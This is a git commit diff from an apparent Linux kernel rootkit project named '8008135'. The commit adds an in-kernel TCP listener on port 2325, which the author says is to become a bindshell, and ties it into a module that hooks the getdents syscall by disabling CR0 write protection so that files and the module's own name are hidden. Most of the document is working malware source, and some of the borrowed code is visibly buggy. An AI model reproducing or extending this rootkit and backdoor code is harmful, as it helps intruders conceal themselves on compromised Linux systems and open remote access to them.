Adding a Socket Server to the Linux Kernel Module

Gone a long way from trying to implement a socket bindshell
using the standard C-Libraries (which obv. doesn't work in LKM!),
then implementing an ASM-Solution only to find out there are problems
with the x86/x32 bit and knowing that I have no clue of how to write ASM,
I thought of looking into sockets on linux kernel modules - AAAND
found one. So the files:
* src/50ck3t.c
* src/headers/50ck3t.h
are basically from
https://github.com/abysamross/simple-linux-kernel-tcp-client-server.git
Thanks for sharing! There will prob. be some additions and modifications.

Makefile:
* Some Stuff had to be renamed in the Makefile due to
Renaming src/create_sysgen.sh -> src/cr3473_5y563n.sh &
Added src/headers/50ck3t.h, src/50ck3t.c

Including src/headers/50ck3t.h in 8008135.c

Changing Module License to GPL, somehow GPLv3 was a problem to the compiler
because of do_exit
merge-requests/2/head
Valentin Lechner 5 years ago
parent 062fdebeae
commit 28c4025758

@ -19,12 +19,13 @@ INCL_H := $(PWD)/$(INCL_S)/headers
obj-m += $(MNAME).o
# Core
$(MNAME)-y += src/$(MNAME).o
$(MNAME)-y += src/50ck3t.o
# Includes for header files etc
ccflags-y := -I$(SRCS_H) -I$(LIBS_H) -I$(INCL_H)
all:
$(shell $(SRCS_S)/create_sysgen.sh)
$(shell $(SRCS_S)/cr3473_5y563n.sh)
$(MAKE) -C $(BUILDDIR) M=$(PWD) modules
load:
@ -34,5 +35,5 @@ unload:
rmmod $(MNAME)
clean:
-rm $(SRCS_H)/sysgen.h
-rm $(SRCS_H)/5y563n.h
$(MAKE) -C $(BUILDDIR) M=$(PWD) clean

@ -0,0 +1,558 @@
/*
*
* NOTE:
* this is basically this guys code:
* https://github.com/abysamross/simple-linux-kernel-tcp-client-server.git
* his last update was 4 years ago, so there might be some changes,
* there definitely will be some regarding the data received/sent back since
* this is will be used as a bindshell
* but base is his work.
*
*/
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
/*
* main.c
* Copyright (C) 2019
*
* 8008135 is free software: you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* 8008135 is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/**** includes *****************************************************************
*******************************************************************************/
#include "50ck3t.h"
/**** types *******************************************************************
*******************************************************************************/
struct tcp_conn_handler_data{
struct sockaddr_in *address;
struct socket *accept_socket;
int thread_id;
};
struct tcp_conn_handler{
struct tcp_conn_handler_data *data[MAX_CONNS];
struct task_struct *thread[MAX_CONNS];
int tcp_conn_handler_stopped[MAX_CONNS];
};
struct tcp_conn_handler *tcp_conn_handler;
struct tcp_server_service{
int running;
struct socket *listen_socket;
struct task_struct *thread;
struct task_struct *accept_thread;
};
struct tcp_server_service *tcp_server;
/**** var **********************************************************************
*******************************************************************************/
int tcp_listener_stopped = 0;
int tcp_acceptor_stopped = 0;
char *inet_ntoa(struct in_addr *in){
char *str_ip = NULL;
u_int32_t int_ip = 0;
str_ip = kmalloc(16 * sizeof(char), GFP_KERNEL);
if(!str_ip)
return NULL;
else
memset(str_ip, 0, 16);
int_ip = in->s_addr;
sprintf(str_ip, "%d.%d.%d.%d", (int_ip) & 0xFF, (int_ip >> 8) & 0xFF,
(int_ip >> 16) & 0xFF, (int_ip >> 16) & 0xFF);
return str_ip;
}
int tcp_server_send(struct socket *sock, int id, const char *buf,\
const size_t length, unsigned long flags){
struct msghdr msg;
struct kvec vec;
int len, written = 0, left =length;
mm_segment_t oldmm;
msg.msg_name = 0;
msg.msg_namelen = 0;
msg.msg_control = NULL;
msg.msg_controllen = 0;
msg.msg_flags = flags;
msg.msg_flags = 0;
oldmm = get_fs(); set_fs(KERNEL_DS);
repeat_send:
vec.iov_len = left;
vec.iov_base = (char *)buf + written;
len = kernel_sendmsg(sock, &msg, &vec, left, left);
if((len == -ERESTARTSYS) || (!(flags & MSG_DONTWAIT) &&\
(len == -EAGAIN)))
goto repeat_send;
if(len > 0){
written += len;
left -= len;
if(left)
goto repeat_send;
}
set_fs(oldmm);
return written?written:len;
}
int tcp_server_receive(struct socket *sock, int id,struct sockaddr_in *address,\
unsigned char *buf,int size, unsigned long flags){
struct msghdr msg;
struct kvec vec;
int len;
char *tmp = NULL;
if(sock==NULL){
pr_info(" *** mtp | tcp server receive socket is NULL| "
" tcp_server_receive *** \n");
return -1;
}
msg.msg_name = 0;
msg.msg_namelen = 0;
msg.msg_control = NULL;
msg.msg_controllen = 0;
msg.msg_flags = flags;
vec.iov_len = size;
vec.iov_base = buf;
read_again:
if(!skb_queue_empty(&sock->sk->sk_receive_queue))
pr_info("recv queue empty ? %s \n",
skb_queue_empty(&sock->sk->sk_receive_queue)?"yes":"no");
len = kernel_recvmsg(sock, &msg, &vec, size, size, flags);
if(len == -EAGAIN || len == -ERESTARTSYS)
goto read_again;
tmp = inet_ntoa(&(address->sin_addr));
pr_info("client-> %s:%d, says: %s\n", tmp, ntohs(address->sin_port), buf);
kfree(tmp);
//len = msg.msg_iter.kvec->iov_len;
return len;
}
int connection_handler(void *data){
struct tcp_conn_handler_data *conn_data =
(struct tcp_conn_handler_data *)data;
struct sockaddr_in *address = conn_data->address;
struct socket *accept_socket = conn_data->accept_socket;
int id = conn_data->thread_id;
int ret;
int len = 49;
unsigned char in_buf[len+1];
unsigned char out_buf[len+1];
DECLARE_WAITQUEUE(recv_wait, current);
allow_signal(SIGKILL|SIGSTOP);
while(1){
add_wait_queue(&accept_socket->sk->sk_wq->wait, &recv_wait);
while(skb_queue_empty(&accept_socket->sk->sk_receive_queue)){
__set_current_state(TASK_INTERRUPTIBLE);
schedule_timeout(HZ);
if(kthread_should_stop()){
pr_info(" *** mtp | tcp server handle connection "
"thread stopped | connection_handler *** \n");
//tcp_conn_handler->thread[id] = NULL;
tcp_conn_handler->tcp_conn_handler_stopped[id]= 1;
__set_current_state(TASK_RUNNING);
remove_wait_queue(&accept_socket->sk->sk_wq->wait,\
&recv_wait);
kfree(tcp_conn_handler->data[id]->address);
kfree(tcp_conn_handler->data[id]);
sock_release(tcp_conn_handler->data[id]->accept_socket);
return 0;
}
if(signal_pending(current)){
__set_current_state(TASK_RUNNING);
remove_wait_queue(&accept_socket->sk->sk_wq->wait,\
&recv_wait);
goto out;
}
}
__set_current_state(TASK_RUNNING);
remove_wait_queue(&accept_socket->sk->sk_wq->wait, &recv_wait);
pr_info("receiving message\n");
memset(in_buf, 0, len+1);
ret = tcp_server_receive(accept_socket, id, address, in_buf, len,\
MSG_DONTWAIT);
if(ret > 0){
if(memcmp(in_buf, "HOLA", 4) == 0){
memset(out_buf, 0, len+1);
strcat(out_buf, "HOLASI");
pr_info("sending response: %s\n", out_buf);
tcp_server_send(accept_socket, id, out_buf,\
strlen(out_buf), MSG_DONTWAIT);
}
/*
tmp = inet_ntoa(&(address->sin_addr));
pr_info("connection handler: %d of: %s %d done sending "
" HOLASI\n", id, tmp, ntohs(address->sin_port));
kfree(tmp);
*/
if(memcmp(in_buf, "ADIOS", 5) == 0){
memset(out_buf, 0, len+1);
strcat(out_buf, "ADIOSAMIGO");
pr_info("sending response: %s\n", out_buf);
tcp_server_send(accept_socket, id, out_buf,\
strlen(out_buf), MSG_DONTWAIT);
break;
}
}
}
out:
/*
tmp = inet_ntoa(&(address->sin_addr));
pr_info("connection handler: %d of: %s %d exiting normally\n",
id, tmp, ntohs(address->sin_port));
kfree(tmp);
*/
tcp_conn_handler->tcp_conn_handler_stopped[id]= 1;
kfree(tcp_conn_handler->data[id]->address);
kfree(tcp_conn_handler->data[id]);
sock_release(tcp_conn_handler->data[id]->accept_socket);
//spin_lock(&tcp_server_lock);
tcp_conn_handler->thread[id] = NULL;
//spin_unlock(&tcp_server_lock);
//return 0;
do_exit(0);
}
int tcp_server_accept(void){
int accept_err = 0;
struct socket *socket;
struct socket *accept_socket = NULL;
struct inet_connection_sock *isock;
int id = 0;
DECLARE_WAITQUEUE(accept_wait, current);
allow_signal(SIGKILL|SIGSTOP);
socket = tcp_server->listen_socket;
pr_info(" *** mtp | creating the accept socket | tcp_server_accept "
"*** \n");
while(1){
struct tcp_conn_handler_data *data = NULL;
struct sockaddr_in *client = NULL;
char *tmp;
int addr_len;
accept_err =
sock_create(socket->sk->sk_family, socket->type,\
socket->sk->sk_protocol, &accept_socket);
if(accept_err < 0 || !accept_socket){
pr_info(" *** mtp | accept_error: %d while creating "
"tcp server accept socket | "
"tcp_server_accept *** \n", accept_err);
goto err;
}
accept_socket->type = socket->type;
accept_socket->ops = socket->ops;
isock = inet_csk(socket->sk);
add_wait_queue(&socket->sk->sk_wq->wait, &accept_wait);
while(reqsk_queue_empty(&isock->icsk_accept_queue)){
__set_current_state(TASK_INTERRUPTIBLE);
schedule_timeout(HZ);
if(kthread_should_stop()){
pr_info(" *** mtp | tcp server acceptor thread "
"stopped | tcp_server_accept *** \n");
tcp_acceptor_stopped = 1;
__set_current_state(TASK_RUNNING);
remove_wait_queue(&socket->sk->sk_wq->wait,\
&accept_wait);
sock_release(accept_socket);
return 0;
}
if(signal_pending(current)){
__set_current_state(TASK_RUNNING);
remove_wait_queue(&socket->sk->sk_wq->wait,\
&accept_wait);
goto release;
}
}
__set_current_state(TASK_RUNNING);
remove_wait_queue(&socket->sk->sk_wq->wait, &accept_wait);
pr_info("accept connection\n");
accept_err =
socket->ops->accept(socket, accept_socket, O_NONBLOCK);
if(accept_err < 0){
pr_info(" *** mtp | accept_error: %d while accepting "
"tcp server | tcp_server_accept *** \n",
accept_err);
goto release;
}
client = kmalloc(sizeof(struct sockaddr_in), GFP_KERNEL);
memset(client, 0, sizeof(struct sockaddr_in));
addr_len = sizeof(struct sockaddr_in);
accept_err =
accept_socket->ops->getname(accept_socket,\
(struct sockaddr *)client,\
&addr_len, 2);
if(accept_err < 0){
pr_info(" *** mtp | accept_error: %d in getname "
"tcp server | tcp_server_accept *** \n",
accept_err);
goto release;
}
tmp = inet_ntoa(&(client->sin_addr));
pr_info("connection from: %s %d \n",
tmp, ntohs(client->sin_port));
kfree(tmp);
pr_info("handle connection\n");
for(id = 0; id < MAX_CONNS; id++){
if(tcp_conn_handler->thread[id] == NULL)
break;
}
pr_info("gave free id: %d\n", id);
if(id == MAX_CONNS)
goto release;
data = kmalloc(sizeof(struct tcp_conn_handler_data), GFP_KERNEL);
memset(data, 0, sizeof(struct tcp_conn_handler_data));
data->address = client;
data->accept_socket = accept_socket;
data->thread_id = id;
tcp_conn_handler->tcp_conn_handler_stopped[id] = 0;
tcp_conn_handler->data[id] = data;
tcp_conn_handler->thread[id] =
kthread_run((void *)connection_handler, (void *)data, MODULE_NAME);
if(kthread_should_stop()){
pr_info(" *** mtp | tcp server acceptor thread stopped"
" | tcp_server_accept *** \n");
tcp_acceptor_stopped = 1;
return 0;
}
if(signal_pending(current)){
break;
}
}
tcp_acceptor_stopped = 1;
do_exit(0);
release:
sock_release(accept_socket);
err:
tcp_acceptor_stopped = 1;
do_exit(0);
}
int tcp_server_listen(void)
{
int server_err;
struct socket *conn_socket;
struct sockaddr_in server;
DECLARE_WAIT_QUEUE_HEAD(wq);
allow_signal(SIGKILL|SIGTERM);
server_err = sock_create(PF_INET, SOCK_STREAM, IPPROTO_TCP,\
&tcp_server->listen_socket);
if(server_err < 0){
pr_info(" *** mtp | Error: %d while creating tcp server "
"listen socket | tcp_server_listen *** \n", server_err);
goto err;
}
conn_socket = tcp_server->listen_socket;
tcp_server->listen_socket->sk->sk_reuse = 1;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_family = AF_INET;
server.sin_port = htons(DEFAULT_PORT);
server_err =
conn_socket->ops->bind(conn_socket, (struct sockaddr*)&server,\
sizeof(server));
if(server_err < 0){
pr_info(" *** mtp | Error: %d while binding tcp server "
"listen socket | tcp_server_listen *** \n", server_err);
goto release;
}
server_err = conn_socket->ops->listen(conn_socket, 16);
if(server_err < 0){
pr_info(" *** mtp | Error: %d while listening in tcp "
"server listen socket | tcp_server_listen "
"*** \n", server_err);
goto release;
}
tcp_server->accept_thread =
kthread_run((void*)tcp_server_accept, NULL, MODULE_NAME);
while(1){
wait_event_timeout(wq, 0, 3*HZ);
if(kthread_should_stop()){
pr_info(" *** mtp | tcp server listening thread"
" stopped | tcp_server_listen *** \n");
return 0;
}
if(signal_pending(current))
goto release;
}
sock_release(conn_socket);
tcp_listener_stopped = 1;
do_exit(0);
release:
sock_release(conn_socket);
err:
tcp_listener_stopped = 1;
do_exit(0);
}
int tcp_server_start(void){
tcp_server->running = 1;
tcp_server->thread = kthread_run((void *)tcp_server_listen, NULL,\
MODULE_NAME);
return 0;
}
int network_server_init(void){
pr_info(" *** mtp | network_server initiated | "
"network_server_init ***\n");
tcp_server = kmalloc(sizeof(struct tcp_server_service), GFP_KERNEL);
memset(tcp_server, 0, sizeof(struct tcp_server_service));
tcp_conn_handler = kmalloc(sizeof(struct tcp_conn_handler), GFP_KERNEL);
memset(tcp_conn_handler, 0, sizeof(struct tcp_conn_handler));
tcp_server_start();
return 0;
}
void network_server_exit(void){
int ret;
int id;
if(tcp_server->thread == NULL)
pr_info(" *** mtp | No kernel thread to kill | "
"network_server_exit *** \n");
else
{
for(id = 0; id < MAX_CONNS; id++)
{
if(tcp_conn_handler->thread[id] != NULL)
{
if(!tcp_conn_handler->tcp_conn_handler_stopped[id])
{
ret =
kthread_stop(tcp_conn_handler->thread[id]);
if(!ret)
pr_info(" *** mtp | tcp server "
"connection handler thread: %d "
"stopped | network_server_exit "
"*** \n", id);
}
}
}
if(!tcp_acceptor_stopped)
{
ret = kthread_stop(tcp_server->accept_thread);
if(!ret)
pr_info(" *** mtp | tcp server acceptor thread"
" stopped | network_server_exit *** \n");
}
if(!tcp_listener_stopped)
{
ret = kthread_stop(tcp_server->thread);
if(!ret)
pr_info(" *** mtp | tcp server listening thread"
" stopped | network_server_exit *** \n");
}
if(tcp_server->listen_socket != NULL && !tcp_listener_stopped)
{
sock_release(tcp_server->listen_socket);
tcp_server->listen_socket = NULL;
}
kfree(tcp_conn_handler);
kfree(tcp_server);
tcp_server = NULL;
}
}

@ -20,6 +20,7 @@
/**** includes *****************************************************************
*******************************************************************************/
#include "8008135.h"
#include "50ck3t.h"
/**** var ********************************************************************
*******************************************************************************/
@ -33,7 +34,7 @@ sys_getdents_t sys_getdents_orig = NULL;
*******************************************************************************/
asmlinkage long sys_getdents_new(unsigned int fd,
struct linux_dirent __user *dirent,
unsigned int count) {
unsigned int count){
int boff;
struct linux_dirent* ent;
@ -54,7 +55,7 @@ asmlinkage long sys_getdents_new(unsigned int fd,
// if it has hide prefix or module name anywhere, hide it
if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0)
|| (strstr(ent->d_name, MODULE_NAME) != NULL)) {
|| (strstr(ent->d_name, MODULE_NAME) != NULL)) {
#if defined DEBUG
printk("\n hide prefix or mod name contained!\n");
printk("\n ret %ld\n ", ret);
@ -107,6 +108,7 @@ static int __init init_8008135(void) {
write_cr0(read_cr0() | WRITE_PROTECT_FLAG);
printk(KERN_INFO "New syscall in place\n");
network_server_init();
return 0;
}
@ -118,6 +120,7 @@ static int __init init_8008135(void) {
* RETURNS: -
*******************************************************************************/
static void __exit exit_8008135(void) {
network_server_exit();
// allow us to write to read onlu pages
write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG));
// set getdents handler back

@ -1,7 +1,7 @@
#!/usr/bin/env bash
SCRIPTPATH="$( cd "$(dirname "$0")" ; pwd -P )"
SRCS_H="$SCRIPTPATH""/headers"
SGENH="$SRCS_H""/sysgen.h"
SGENH="$SRCS_H""/5y563n.h"
smap="/boot/System.map-$(uname -r)"

@ -0,0 +1,50 @@
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
/*
* main.c
* Copyright (C) 2019
*
* 8008135 is free software: you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* 8008135 is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef SRC_HEADERS_50CK3T_H_
#define SRC_HEADERS_50CK3T_H_
/**** includes *****************************************************************
*******************************************************************************/
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/kthread.h>
#include <linux/errno.h>
#include <linux/types.h>
#include <linux/netdevice.h>
#include <linux/ip.h>
#include <linux/in.h>
#include <linux/unistd.h>
#include <linux/wait.h>
#include <net/sock.h>
#include <net/tcp.h>
#include <net/inet_connection_sock.h>
#include <net/request_sock.h>
#define DEFAULT_PORT 2325
#define MAX_CONNS 16
#define MODULE_NAME "8008135"
int network_server_init(void);
void network_server_exit(void);
#endif /* SRC_HEADERS_50CK3T_H_ */

@ -26,7 +26,7 @@
#include <asm/special_insns.h>
#include <linux/string.h>
#include <linux/fs.h>
#include "sysgen.h"
#include "5y563n.h"
/**** Defines *****************************************************************
@ -44,7 +44,7 @@
/**** Modinfo ****************************************************************
*******************************************************************************/
MODULE_LICENSE("GPLv3");
MODULE_LICENSE("GPL");
MODULE_AUTHOR("JanKoernerEnterprises");
MODULE_DESCRIPTION("8008135");
MODULE_VERSION("0.1");

Loading…
Cancel
Save